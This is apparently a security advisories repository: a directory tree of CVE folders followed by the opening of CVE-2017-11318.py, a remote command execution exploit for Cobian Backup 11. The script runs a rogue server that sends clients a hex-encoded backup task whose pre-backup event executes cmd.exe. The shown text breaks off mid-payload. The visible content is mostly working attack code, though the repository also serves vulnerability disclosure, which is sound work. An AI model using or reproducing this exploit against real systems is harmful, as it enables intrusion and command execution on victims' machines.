├── 2017 ├── CVE-2017-11318 │ ├── CVE-2017-11318.py │ └── README.md ├── CVE-2017-14339 │ └── README.md ├── CVE-2017-6530 │ └── README.md ├── CVE-2017-6531 │ └── README.md ├── CVE-2017-6532 │ └── README.md └── CVE-2017-8892 │ └── README.md ├── 2018 ├── CVE-2018-10024 │ ├── CVE-2018-10024.py │ └── README.md ├── CVE-2018-12482 │ └── README.md ├── CVE-2018-12483 │ └── README.md ├── CVE-2018-14473 │ └── README.md ├── CVE-2018-15503 │ └── README.md ├── CVE-2018-15610 │ └── README.md └── CVE-2018-6792 │ └── README.md ├── 2019 ├── CVE-2019-10687 │ └── README.md ├── CVE-2019-12385 │ ├── CVE-2019-12385.py │ └── README.md ├── CVE-2019-12386 │ ├── CVE-2019-12386.html │ ├── README.md │ └── pwn.js ├── CVE-2019-12725 │ ├── CVE-2019-12725.py │ └── README.md ├── CVE-2019-14459 │ └── README.md ├── CVE-2019-14666 │ ├── CVE-2019-14666.py │ └── README.md └── CVE-2019-18956 │ ├── CVE-2019-18956.sh │ └── README.md ├── 2020 ├── CVE-2020-12606 │ └── README.md ├── CVE-2020-28657 │ └── README.md └── CVE-2020-35577 │ └── README.md ├── 2021 ├── CVE-2021-33207 │ └── README.md ├── CVE-2021-33208 │ └── README.md ├── CVE-2021-33523 │ └── README.md └── CVE-2021-33581 │ └── README.md ├── 2022 ├── CVE-2022-30977 │ └── README.md ├── CVE-2022-30978 │ └── README.md └── CVE-2022-43216 │ └── README.md ├── 2024 └── CVE-2024-21172 │ └── Readme.md ├── LICENSE ├── README.md └── logo.png /2017/CVE-2017-11318/CVE-2017-11318.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # CVE-2017-11318 - Remote Command Execution 4 | # 5 | # Software: Cobian Backup 11 6 | # Author: Juan Manuel Fernandez (@TheXC3LL) from BlackArrow 7 | # Details: https://github.com/blackarrowsec/advisories/new/master/2017/CVE-2017-11318 8 | # Web: [www.blackarrow.net] - [www.tarlogic.com] 9 | # 10 | 11 | 12 | import socket 13 | import signal 14 | import sys 15 | from thread import * 16 | 17 | def signal_handler(signal, frame): 18 | print('You pressed Ctrl+C!') 19 | sys.exit(0) 20 | signal.signal(signal.SIGINT, signal_handler) 21 | 22 | ###### Socket data 23 | host = '' 24 | port = 16020 #Default 25 | 26 | ###### Server Packets 27 | iddle = "490044004c0045002c002c000d000a00" 28 | 29 | get_options = "4700450054005f004f005000540049004f004e0053002c002c000d000a00" 30 | 31 | password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00" 32 | 33 | task_template = [ 34 | 0x55, 0x00, 0x50, 0x00, 0x44, 0x00, 0x41, 0x00, 35 | 0x54, 0x00, 0x45, 0x00, 0x5f, 0x00, 0x4c, 0x00, 36 | 0x49, 0x00, 0x53, 0x00, 0x54, 0x00, 0x2c, 0x00, 37 | 0x22, 0x00, 0x7b, 0x00, 0x31, 0x00, 0x31, 0x00, 38 | 0x2f, 0x00, 0x2f, 0x00, 0x2c, 0x00, 0x49, 0x00, 39 | 0x64, 0x00, 0x3d, 0x00, 0x7b, 0x00, 0x45, 0x00, 40 | 0x37, 0x00, 0x45, 0x00, 0x43, 0x00, 0x46, 0x00, 41 | 0x34, 0x00, 0x32, 0x00, 0x44, 0x00, 0x2d, 0x00, 42 | 0x37, 0x00, 0x38, 0x00, 0x45, 0x00, 0x34, 0x00, 43 | 0x2d, 0x00, 0x34, 0x00, 0x32, 0x00, 0x34, 0x00, 44 | 0x38, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x37, 0x00, 45 | 0x45, 0x00, 0x45, 0x00, 0x2d, 0x00, 0x33, 0x00, 46 | 0x38, 0x00, 0x39, 0x00, 0x35, 0x00, 0x33, 0x00, 47 | 0x36, 0x00, 0x44, 0x00, 0x38, 0x00, 0x42, 0x00, 48 | 0x44, 0x00, 0x33, 0x00, 0x38, 0x00, 0x7d, 0x00, 49 | 0x2c, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6d, 0x00, 50 | 0x65, 0x00, 0x3d, 0x00, 0x7b, 0x00, 0x45, 0x00, 51 | 0x37, 0x00, 0x45, 0x00, 0x43, 0x00, 0x46, 0x00, 52 | 0x34, 0x00, 0x32, 0x00, 0x44, 0x00, 0x2d, 0x00, 53 | 0x37, 0x00, 0x38, 0x00, 0x45, 0x00, 0x34, 0x00, 54 | 0x2d, 0x00, 0x34, 0x00, 0x32, 0x00, 0x34, 0x00, 55 | 0x38, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x37, 0x00, 56 | 0x45, 0x00, 0x45, 0x00, 0x2d, 0x00, 0x33, 0x00, 57 | 0x38, 0x00, 0x39, 0x00, 0x35, 0x00, 0x33, 0x00, 58 | 0x36, 0x00, 0x44, 0x00, 0x38, 0x00, 0x42, 0x00, 59 | 0x44, 0x00, 0x33, 0x00, 0x38, 0x00, 0x7d, 0x00, 60 | 0x2c, 0x00, 0x47, 0x00, 0x72, 0x00, 0x6f, 0x00, 61 | 0x75, 0x00, 0x70, 0x00, 0x3d, 0x00, 0x2c, 0x00, 62 | 0x45, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x62, 0x00, 63 | 0x6c, 0x00, 0x65, 0x00, 0x64, 0x00, 0x3d, 0x00, 64 | 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 0x65, 0x00, 65 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x49, 0x00, 66 | 0x6e, 0x00, 0x63, 0x00, 0x6c, 0x00, 0x75, 0x00, 67 | 0x64, 0x00, 0x65, 0x00, 0x20, 0x00, 0x73, 0x00, 68 | 0x75, 0x00, 0x62, 0x00, 0x64, 0x00, 0x69, 0x00, 69 | 0x72, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 70 | 0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x65, 0x00, 71 | 0x73, 0x00, 0x3d, 0x00, 0x74, 0x00, 0x72, 0x00, 72 | 0x75, 0x00, 0x65, 0x00, 0x22, 0x00, 0x22, 0x00, 73 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x43, 0x00, 74 | 0x72, 0x00, 0x65, 0x00, 0x61, 0x00, 0x74, 0x00, 75 | 0x65, 0x00, 0x20, 0x00, 0x73, 0x00, 0x65, 0x00, 76 | 0x70, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 77 | 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 78 | 0x62, 0x00, 0x61, 0x00, 0x63, 0x00, 0x6b, 0x00, 79 | 0x75, 0x00, 0x70, 0x00, 0x73, 0x00, 0x3d, 0x00, 80 | 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 0x65, 0x00, 81 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 82 | 0x22, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 83 | 0x20, 0x00, 0x61, 0x00, 0x74, 0x00, 0x74, 0x00, 84 | 0x72, 0x00, 0x69, 0x00, 0x62, 0x00, 0x75, 0x00, 85 | 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x3d, 0x00, 86 | 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 0x65, 0x00, 87 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 88 | 0x22, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 89 | 0x20, 0x00, 0x56, 0x00, 0x53, 0x00, 0x43, 0x00, 90 | 0x3d, 0x00, 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 91 | 0x65, 0x00, 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 92 | 0x22, 0x00, 0x22, 0x00, 0x42, 0x00, 0x61, 0x00, 93 | 0x63, 0x00, 0x6b, 0x00, 0x75, 0x00, 0x70, 0x00, 94 | 0x20, 0x00, 0x74, 0x00, 0x79, 0x00, 0x70, 0x00, 95 | 0x65, 0x00, 0x3d, 0x00, 0x30, 0x00, 0x22, 0x00, 96 | 0x22, 0x00, 0x2c, 0x00, 0x50, 0x00, 0x72, 0x00, 97 | 0x69, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 98 | 0x74, 0x00, 0x79, 0x00, 0x3d, 0x00, 0x30, 0x00, 99 | 0x2c, 0x00, 0x53, 0x00, 0x6f, 0x00, 0x75, 0x00, 100 | 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x3d, 0x00, 101 | 0x2c, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 102 | 0x74, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x61, 0x00, 103 | 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 104 | 0x3d, 0x00, 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 105 | 0x53, 0x00, 0x63, 0x00, 0x68, 0x00, 0x65, 0x00, 106 | 0x64, 0x00, 0x75, 0x00, 0x6c, 0x00, 0x65, 0x00, 107 | 0x20, 0x00, 0x74, 0x00, 0x79, 0x00, 0x70, 0x00, 108 | 0x65, 0x00, 0x3d, 0x00, 0x31, 0x00, 0x22, 0x00, 109 | 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 110 | 0x53, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x65, 0x00, 111 | 0x63, 0x00, 0x74, 0x00, 0x20, 0x00, 0x64, 0x00, 112 | 0x61, 0x00, 0x79, 0x00, 0x73, 0x00, 0x20, 0x00, 113 | 0x6f, 0x00, 0x66, 0x00, 0x20, 0x00, 0x74, 0x00, 114 | 0x68, 0x00, 0x65, 0x00, 0x20, 0x00, 0x77, 0x00, 115 | 0x65, 0x00, 0x65, 0x00, 0x6b, 0x00, 0x3d, 0x00, 116 | 0x66, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x73, 0x00, 117 | 0x65, 0x00, 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 118 | 0x22, 0x00, 0x22, 0x00, 0x4f, 0x00, 0x72, 0x00, 119 | 0x64, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 120 | 0x6f, 0x00, 0x66, 0x00, 0x20, 0x00, 0x44, 0x00, 121 | 0x61, 0x00, 0x79, 0x00, 0x20, 0x00, 0x6f, 0x00, 122 | 0x66, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 123 | 0x65, 0x00, 0x20, 0x00, 0x77, 0x00, 0x65, 0x00, 124 | 0x65, 0x00, 0x6b, 0x00, 0x3d, 0x00, 0x31, 0x00, 125 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 126 | 0x22, 0x00, 0x44, 0x00, 0x61, 0x00, 0x79, 0x00, 127 | 0x20, 0x00, 0x6f, 0x00, 0x66, 0x00, 0x20, 0x00, 128 | 0x74, 0x00, 0x68, 0x00, 0x65, 0x00, 0x20, 0x00, 129 | 0x77, 0x00, 0x65, 0x00, 0x65, 0x00, 0x6b, 0x00, 130 | 0x3d, 0x00, 0x31, 0x00, 0x22, 0x00, 0x22, 0x00, 131 | 0x2c, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 132 | 0x65, 0x00, 0x2f, 0x00, 0x54, 0x00, 0x69, 0x00, 133 | 0x6d, 0x00, 0x65, 0x00, 0x3d, 0x00, 0x30, 0x00, 134 | 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 135 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 136 | 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 137 | 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 138 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 139 | 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 140 | 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 141 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 142 | 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 143 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 144 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 145 | 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 146 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 147 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 148 | 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 149 | 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 0x2c, 0x00, 150 | 0x22, 0x00, 0x22, 0x00, 0x44, 0x00, 0x61, 0x00, 151 | 0x79, 0x00, 0x20, 0x00, 0x6f, 0x00, 0x66, 0x00, 152 | 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x65, 0x00, 153 | 0x20, 0x00, 0x6d, 0x00, 0x6f, 0x00, 0x6e, 0x00, 154 | 0x74, 0x00, 0x68, 0x00, 0x3d, 0x00, 0x31, 0x00, 155 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x4d, 0x00, 156 | 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x68, 0x00, 157 | 0x3d, 0x00, 0x31, 0x00, 0x2c, 0x00, 0x54, 0x00, 158 | 0x69, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x72, 0x00, 159 | 0x3d, 0x00, 0x31, 0x00, 0x38, 0x00, 0x30, 0x00, 160 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x54, 0x00, 161 | 0x69, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x72, 0x00, 162 | 0x20, 0x00, 0x66, 0x00, 0x72, 0x00, 0x6f, 0x00, 163 | 0x6d, 0x00, 0x3d, 0x00, 0x30, 0x00, 0x31, 0x00, 164 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 165 | 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 166 | 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 167 | 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 168 | 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 169 | 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 170 | 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 171 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 172 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 173 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 174 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 175 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 176 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 177 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 178 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 179 | 0x30, 0x00, 0x30, 0x00, 0x22, 0x00, 0x22, 0x00, 180 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x54, 0x00, 181 | 0x69, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x72, 0x00, 182 | 0x20, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x3d, 0x00, 183 | 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 184 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 185 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 186 | 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x30, 0x00, 187 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 188 | 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 189 | 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 190 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 191 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 192 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 193 | 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x30, 0x00, 194 | 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 195 | 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 196 | 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 197 | 0x30, 0x00, 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 198 | 0x30, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 199 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 200 | 0x22, 0x00, 0x46, 0x00, 0x75, 0x00, 0x6c, 0x00, 201 | 0x6c, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6f, 0x00, 202 | 0x70, 0x00, 0x69, 0x00, 0x65, 0x00, 0x73, 0x00, 203 | 0x3d, 0x00, 0x30, 0x00, 0x22, 0x00, 0x22, 0x00, 204 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x44, 0x00, 205 | 0x69, 0x00, 0x66, 0x00, 0x66, 0x00, 0x65, 0x00, 206 | 0x72, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x74, 0x00, 207 | 0x61, 0x00, 0x6c, 0x00, 0x20, 0x00, 0x63, 0x00, 208 | 0x6f, 0x00, 0x70, 0x00, 0x69, 0x00, 0x65, 0x00, 209 | 0x73, 0x00, 0x3d, 0x00, 0x30, 0x00, 0x22, 0x00, 210 | 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 211 | 0x4f, 0x00, 0x6e, 0x00, 0x65, 0x00, 0x20, 0x00, 212 | 0x66, 0x00, 0x75, 0x00, 0x6c, 0x00, 0x6c, 0x00, 213 | 0x20, 0x00, 0x65, 0x00, 0x76, 0x00, 0x65, 0x00, 214 | 0x72, 0x00, 0x79, 0x00, 0x3d, 0x00, 0x30, 0x00, 215 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 216 | 0x22, 0x00, 0x55, 0x00, 217 | 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x66, 0x00, 218 | 0x69, 0x00, 0x78, 0x00, 0x65, 0x00, 0x64, 0x00, 219 | 0x20, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 220 | 0x3d, 0x00, 0x66, 0x00, 0x61, 0x00, 0x6c, 0x00, 221 | 0x73, 0x00, 0x65, 0x00, 0x22, 0x00, 0x22, 0x00, 222 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x46, 0x00, 223 | 0x69, 0x00, 0x78, 0x00, 0x65, 0x00, 0x64, 0x00, 224 | 0x20, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 225 | 0x3d, 0x00, 0x31, 0x00, 0x22, 0x00, 0x22, 0x00, 226 | 0x2c, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x6d, 0x00, 227 | 0x70, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 228 | 0x73, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 229 | 0x3d, 0x00, 0x30, 0x00, 0x2c, 0x00, 0x22, 0x00, 230 | 0x22, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x6d, 0x00, 231 | 0x70, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 232 | 0x73, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6e, 0x00, 233 | 0x64, 0x00, 0x69, 0x00, 0x76, 0x00, 0x69, 0x00, 234 | 0x64, 0x00, 0x75, 0x00, 0x61, 0x00, 0x6c, 0x00, 235 | 0x6c, 0x00, 0x79, 0x00, 0x3d, 0x00, 0x66, 0x00, 236 | 0x61, 0x00, 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 237 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x53, 0x00, 238 | 0x70, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x74, 0x00, 239 | 0x3d, 0x00, 0x30, 0x00, 0x2c, 0x00, 0x22, 0x00, 240 | 0x22, 0x00, 0x43, 0x00, 0x75, 0x00, 0x73, 0x00, 241 | 0x74, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x20, 0x00, 242 | 0x73, 0x00, 0x69, 0x00, 0x7a, 0x00, 0x65, 0x00, 243 | 0x3d, 0x00, 0x34, 0x00, 0x33, 0x00, 0x30, 0x00, 244 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 245 | 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x22, 0x00, 246 | 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 247 | 0x43, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x6d, 0x00, 248 | 0x65, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x3d, 0x00, 249 | 0x43, 0x00, 0x6f, 0x00, 0x62, 0x00, 0x69, 0x00, 250 | 0x61, 0x00, 0x6e, 0x00, 0x20, 0x00, 0x42, 0x00, 251 | 0x61, 0x00, 0x63, 0x00, 0x6b, 0x00, 0x75, 0x00, 252 | 0x70, 0x00, 0x20, 0x00, 0x31, 0x00, 0x31, 0x00, 253 | 0x20, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 254 | 0x76, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 255 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x45, 0x00, 256 | 0x6e, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 257 | 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 258 | 0x6e, 0x00, 0x3d, 0x00, 0x30, 0x00, 0x2c, 0x00, 259 | 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 260 | 0x70, 0x00, 0x68, 0x00, 0x72, 0x00, 0x61, 0x00, 261 | 0x73, 0x00, 0x65, 0x00, 0x3d, 0x00, 0x59, 0x00, 262 | 0x67, 0x00, 0x42, 0x00, 0x6c, 0x00, 0x41, 0x00, 263 | 0x47, 0x00, 0x41, 0x00, 0x41, 0x00, 0x63, 0x00, 264 | 0x51, 0x00, 0x42, 0x00, 0x33, 0x00, 0x41, 0x00, 265 | 0x47, 0x00, 0x73, 0x00, 0x41, 0x00, 0x61, 0x00, 266 | 0x77, 0x00, 0x42, 0x00, 0x37, 0x00, 0x41, 0x00, 267 | 0x48, 0x00, 0x6b, 0x00, 0x41, 0x00, 0x61, 0x00, 268 | 0x51, 0x00, 0x41, 0x00, 0x35, 0x00, 0x41, 0x00, 269 | 0x48, 0x00, 0x77, 0x00, 0x41, 0x00, 0x42, 0x00, 270 | 0x77, 0x00, 0x41, 0x00, 0x44, 0x00, 0x41, 0x00, 271 | 0x41, 0x00, 0x30, 0x00, 0x41, 0x00, 0x63, 0x00, 272 | 0x77, 0x00, 0x42, 0x00, 0x78, 0x00, 0x41, 0x00, 273 | 0x48, 0x00, 0x55, 0x00, 0x41, 0x00, 0x65, 0x00, 274 | 0x77, 0x00, 0x41, 0x00, 0x64, 0x00, 0x41, 0x00, 275 | 0x42, 0x00, 0x41, 0x00, 0x41, 0x00, 0x63, 0x00, 276 | 0x67, 0x00, 0x42, 0x00, 0x2b, 0x00, 0x41, 0x00, 277 | 0x48, 0x00, 0x49, 0x00, 0x41, 0x00, 0x65, 0x00, 278 | 0x51, 0x00, 0x41, 0x00, 0x45, 0x00, 0x41, 0x00, 279 | 0x41, 0x00, 0x67, 0x00, 0x41, 0x00, 0x41, 0x00, 280 | 0x41, 0x00, 0x42, 0x00, 0x34, 0x00, 0x41, 0x00, 281 | 0x42, 0x00, 0x30, 0x00, 0x41, 0x00, 0x61, 0x00, 282 | 0x51, 0x00, 0x41, 0x00, 0x4a, 0x00, 0x41, 0x00, 283 | 0x48, 0x00, 0x4d, 0x00, 0x41, 0x00, 0x64, 0x00, 284 | 0x77, 0x00, 0x42, 0x00, 0x6f, 0x00, 0x41, 0x00, 285 | 0x43, 0x00, 0x77, 0x00, 0x41, 0x00, 0x43, 0x00, 286 | 0x51, 0x00, 0x41, 0x00, 0x42, 0x00, 0x41, 0x00, 287 | 0x48, 0x00, 0x55, 0x00, 0x41, 0x00, 0x44, 0x00, 288 | 0x77, 0x00, 0x42, 0x00, 0x2b, 0x00, 0x41, 0x00, 289 | 0x41, 0x00, 0x6b, 0x00, 0x41, 0x00, 0x63, 0x00, 290 | 0x41, 0x00, 0x42, 0x00, 0x37, 0x00, 0x41, 0x00, 291 | 0x47, 0x00, 0x4d, 0x00, 0x41, 0x00, 0x63, 0x00, 292 | 0x77, 0x00, 0x41, 0x00, 0x44, 0x00, 0x41, 0x00, 293 | 0x44, 0x00, 0x38, 0x00, 0x41, 0x00, 0x66, 0x00, 294 | 0x41, 0x00, 0x41, 0x00, 0x6d, 0x00, 0x41, 0x00, 295 | 0x41, 0x00, 0x3d, 0x00, 0x3d, 0x00, 0x2c, 0x00, 296 | 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x6c, 0x00, 297 | 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6f, 0x00, 298 | 0x6e, 0x00, 0x73, 0x00, 0x3d, 0x00, 0x2c, 0x00, 299 | 0x49, 0x00, 0x6e, 0x00, 0x63, 0x00, 0x6c, 0x00, 300 | 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6f, 0x00, 301 | 0x6e, 0x00, 0x73, 0x00, 0x3d, 0x00, 0x2c, 0x00, 302 | 0x22, 0x00, 0x22, 0x00, 0x50, 0x00, 0x72, 0x00, 303 | 0x65, 0x00, 0x20, 0x00, 0x62, 0x00, 0x61, 0x00, 304 | 0x63, 0x00, 0x6b, 0x00, 0x75, 0x00, 0x70, 0x00, 305 | 0x20, 0x00, 0x65, 0x00, 0x76, 0x00, 0x65, 0x00, 306 | 0x6e, 0x00, 0x74, 0x00, 0x73, 0x00, 0x3d, 0x00, 307 | 0x22, 0x00, 0x22, 0x00, 0x22, 0x00, 0x22, 0x00, 308 | 0x45, 0x00, 0x58, 0x00, 0x45, 0x00, 0x43, 0x00, 309 | 0x55, 0x00, 0x54, 0x00, 0x45, 0x00, 0x2c, 0x00, 310 | 0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x57, 0x00, 311 | 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 312 | 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x53, 0x00, 313 | 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 314 | 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 315 | 0x63, 0x00, 0x6d, 0x00, 0x64, 0x00, 0x2e, 0x00, 316 | 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x2c, 0x00, 317 | 0x22, 0x00, 0x22, 0x00, 0x22, 0x00, 0x22, 0x00, 318 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 319 | 0x22, 0x00, 0x50, 0x00, 0x6f, 0x00, 0x73, 0x00, 320 | 0x74, 0x00, 0x20, 0x00, 0x62, 0x00, 0x61, 0x00, 321 | 0x63, 0x00, 0x6b, 0x00, 0x75, 0x00, 0x70, 0x00, 322 | 0x20, 0x00, 0x65, 0x00, 0x76, 0x00, 0x65, 0x00, 323 | 0x6e, 0x00, 0x74, 0x00, 0x73, 0x00, 0x3d, 0x00, 324 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 325 | 0x22, 0x00, 0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 326 | 0x72, 0x00, 0x74, 0x00, 0x20, 0x00, 0x69, 0x00, 327 | 0x66, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 328 | 0x65, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x76, 0x00, 329 | 0x65, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x20, 0x00, 330 | 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6c, 0x00, 331 | 0x73, 0x00, 0x3d, 0x00, 0x66, 0x00, 0x61, 0x00, 332 | 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 0x22, 0x00, 333 | 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 334 | 0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x72, 0x00, 335 | 0x74, 0x00, 0x20, 0x00, 0x69, 0x00, 0x66, 0x00, 336 | 0x20, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x73, 0x00, 337 | 0x74, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x76, 0x00, 338 | 0x65, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x20, 0x00, 339 | 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6c, 0x00, 340 | 0x73, 0x00, 0x3d, 